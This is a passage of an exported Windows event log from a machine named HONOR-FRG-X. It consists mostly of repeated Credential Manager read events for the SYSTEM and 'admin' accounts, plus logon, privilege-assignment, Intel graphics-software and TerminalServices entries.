read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:54.872\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:52:54.938\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:54.938\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.018\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.018\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.019\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.030\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.030\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.030\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.422\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.424\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.424\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.426\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.428\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x2208 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:52:55.459\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.461\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.463\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x2208 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:52:55.491\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:55.492\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.074\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:52:56.082\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"WINWORD\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:52:56.510\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.510\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.511\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.511\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.512\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.512\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.514\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.515\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.515\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.515\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.515\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.515\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.515\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.515\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.516\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tRead Credential\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.516\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tRead Credential\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.518\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.518\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.518\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.518\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.518\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.519\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.519\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.519\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity 